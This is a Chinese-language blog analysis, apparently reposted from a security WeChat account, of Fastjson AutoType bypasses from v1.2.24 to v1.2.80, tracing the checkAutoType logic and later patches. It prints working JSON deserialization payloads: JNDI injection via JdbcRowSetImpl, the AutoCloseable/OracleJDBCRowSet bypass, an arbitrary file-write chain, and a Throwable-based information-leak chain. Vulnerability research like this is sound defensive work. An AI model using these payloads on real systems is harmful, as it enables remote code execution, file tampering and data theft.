Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

渗透技巧 3年前 (2022) admin
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Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

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漏洞信息

 

近期 Fastjson Develop Team 报告了 Fastjson v1.2.80 存在 AutoType 绕过反序列化漏洞,通报如下:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

漏洞在特定条件下可以绕过默认关闭的 AutoType 限制,结合一个新的利用链,可实现 RCE 。

 

AuthType 机制

 

Fastjson 通过函数 `parse` 或者 `parseObject` 来完成字符串的反序列化操作,并且可以通过 `@type` 来指定反序列化的类型。Fastjson  v1.2.24 可以通过 `JdbcRowSetImpl`来实现 JNDI 注入:

 

{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://localhost:1389/test",   "autoCommit":true}

 

Fastjson v1.2.25 推出了 AutoType 机制,在 `DefaultJSONParser` 中增加了 `checkAutoType` 检查:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

`checkAutoType` 中存在黑白名单检查:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

`autoTypeSupport` 默认为 `False` ,为了运行通过 `@type` 指定反序列化类型,正常情况下需要手动进行设置:

 

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

同时还存在黑名单校验:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

所以 Fastjson 绕过历史可以分为 AutoType 机制绕过和黑名单绕过,绝大部分都是寻找一个新的利用链来绕过黑名单,所以 Fastjson 官方的黑名单列表越来越大,但是更有意义的绕过显然是 AutoType 机制绕过,这样无需手动配置  `autoTypeSupport` 也可能进行利用。

 

Fastjson v1.2.47 绕过

 

Payload 如下:

 

{    "x": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "y": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://localhost:1389/test",        "autoCommit": true    }}

在进入 `checkAutoType` 之前,会调用 `TypeUtils#addBaseClassMappings` 函数将常见类加载到缓存的 `mapping` 对象:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

然后进入 `checkAutoType` ,因为 `autoTypeSupport` 默认为 `False` ,所以尝试从 `mapping` 或者 `deserializers.findClass` 中加载类:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

通过 `deserializers#findClass` 可以找到 `java.lang.Class` 类,回到 `DefaultJSONParser` ,一直进入到第 358 行获取的 `deserializer` 对象为 `MiscCodec` 类型,一直往下走,通过函数 `deserialze` 开始反序列化操作:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

通过 `parser.paese` 提取到 `objVal` 的值为 `com.sun.rowset.JdbcRowSetImpl` ,继续往下走,一直到达如下判断:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

跟进 `TypeUtils.loadClass` :

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

在 程序上下文环境中加载 `com.sun.rowset.JdbcRowSetImpl` 类型并加入到 `mapping` 中。由于我们 Payload 传入了 2 个 Json 对象,所以会再次调用 `checkAutoType` :

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

此时在进行 AutoType 机制检查前已经返回了 `clazz` :

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

所以实现了 AutoType 机制的绕过。在 v1.2.48 版本中将 `java.lang.Class` 加入了黑名单。

 

Fastjson v1.2.50 绕过

 

Payload 如下:

 

{    "@type":"java.lang.AutoCloseable",    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",    "dataSourceName":"ldap://localhost:1389/test",    "command":"a"}

 

回到 `checkAutoType` 函数:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

要想 `expectClassFlag` 取值为 `True` ,那么传入 `checkAutoType` 的 `expectClass` 类对象应该非空。第一次从 `parse` 调用 `checkAutoType` 时, `expectClass` 取值为 `null` ,继续往下走:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

如果在缓存 `mapping` 中能够匹配到类, `checkAutoType` 将返回该类型对象, Payload 中用到的  `java.lang.AutoCloseable` 正好位于缓存 `mapping` 中( `TypeUtils#addBaseClassMappings` ),

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

继续往下走:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

因为 `clazz` 取值为 `java.lang.AutoCloseable` :

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

所以获取的 `ObjectDeserializer` 对象为 `JavaBeanDeserializer` 类型,跟进 `JavaBeanDeserializer#deserialze` :

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

会再次调用 `checkAutoType` ,此时会将第二个 `@type` 和 非空的 `expectClass` 传进去:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

此时因为 `expectClass` 非空,所以绕过了 AuthType 检查机制。同时后面通过 `TypeUtils#loadClass` 加载类的过程中,调用了 `isAssignableFrom` ,用来判断反序列化的类是否实现了 `expectClass` 接口,如果是将返回反序列化类对象。`oracle.jdbc.rowset.OracleJDBCRowSet` 继承关系如下图所示:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

后面实现 JNDI 注入的过程就不分析了。在 v1.2.51 版本的补丁中只是将 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加进入了黑名单。

 

Fastjson v1.2.68 绕过

 

严格意义上讲  v1.2.68 不是真正的 AuthType 绕过。回顾前面的分析,由于 Fastjson 并未将 `java.lang.AutoCloseable` 加入黑名单,所以理论上只要再寻找一个类继承于 `java.lang.AutoCloseable` ,并且不在黑名单中,同时 get/set 中存在可利用的操作即可。Fastjson v1.2.68 绕过借助的类为 `sun.rmi.server.MarshalOutputStream` ,继承关系如下:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

最终可以实现任意文件写入, Payload 如下:

 

{    "@type": "java.lang.AutoCloseable",    "@type": "sun.rmi.server.MarshalOutputStream",    "out": {        "@type": "java.util.zip.InflaterOutputStream",        "out": {           "@type": "java.io.FileOutputStream",           "file": "/tmp/asdasd",           "append": true        },        "infl": {           "input": {               "array": "eJxLLE5JTCkGAAh5AnE=",               "limit": 14           }        },        "bufLen": "100"    },    "protocolVersion": 1}

 

AuthType 绕过过程与 v1.2.50 一样,触发任意文件写入的过程就不分析了。v1.2.69 版本终于将 `java.lang.AutoCloseable` 加入了黑名单,那么 v1.2.50 和 v1.2.68 的绕过方式也就无效了。

 

Fastjson v1.2.80 绕过

 

回顾 v1.2.50 和 v1.2.68 的绕过方式,主要是在 `ObjectDeserializer` 接口的子类 `JavaBeanDeserializer` 中存在 `expectClass` 非空的 `checkAutoType` 调用,这也是绕过的关键。顺着这个思路,我们继续在 `ObjectDeserializer` 接口的其他子类中寻找  `expectClass` 非空的 `checkAutoType` 调用:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

除了 `JavaBeanDeserializer` 之外,在子类 `ThrowableDeserializer` 的函数 `deserialze` 中也存在满足条件的调用:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

从 `expressClass` 定义来看,利用链类型必须继承于 `Throwable` 。我们可以构造如下测试来调试一下解析过程 (`java.lang.Exception` 继承于 `Throwable`):

 

{  "@type":"java.lang.Exception",   "@type":"test",  "a":"test"}

 

第一次进入 `checkAutoType` 函数, `expressClass` 参数为空:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

尝试从缓存 `mapping` 中实例化 `clazz`  (`TypeUtils#addBaseClassMappings` 已经将 `java.lang.Exception` 加入了 `mapping` ):

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

往下走 `getDeserializer` 返回的 `ObjectDeserializer` 为 `ThrowableDeserializer` 类型:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

进入 `ThrowableDeserializer#deserialze` ,顺利到达 `checkAutoType`:

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

与前面分析的绕过类似,第二次进入 `checkAutoType` 时, `expressClass` 取值非空,从而实现绕过。

 

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

 

其实这种绕过方式在 2020 年就已经有大佬放出来了:

 

{  "x":{    "@type":"java.lang.Exception",    "@type":"org.openqa.selenium.WebDriverException"  },  "y":{    "$ref":"$x.systemInformation"  }}

这是一个信息泄露的利用链,这条链的分析网上已经不少了,这里就不重复了。最近官方通报漏洞应该是有人找到了能够 RCE 的利用链,查看 v1.2.81 的黑名单可以看到新增了不少 hash (但是还没分析出来是哪个链Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析,研究出来了再分享给大家吧~)。

 

 

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原文始发于微信公众号(且听安全):Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

版权声明:admin 发表于 2022年5月25日 下午12:26。
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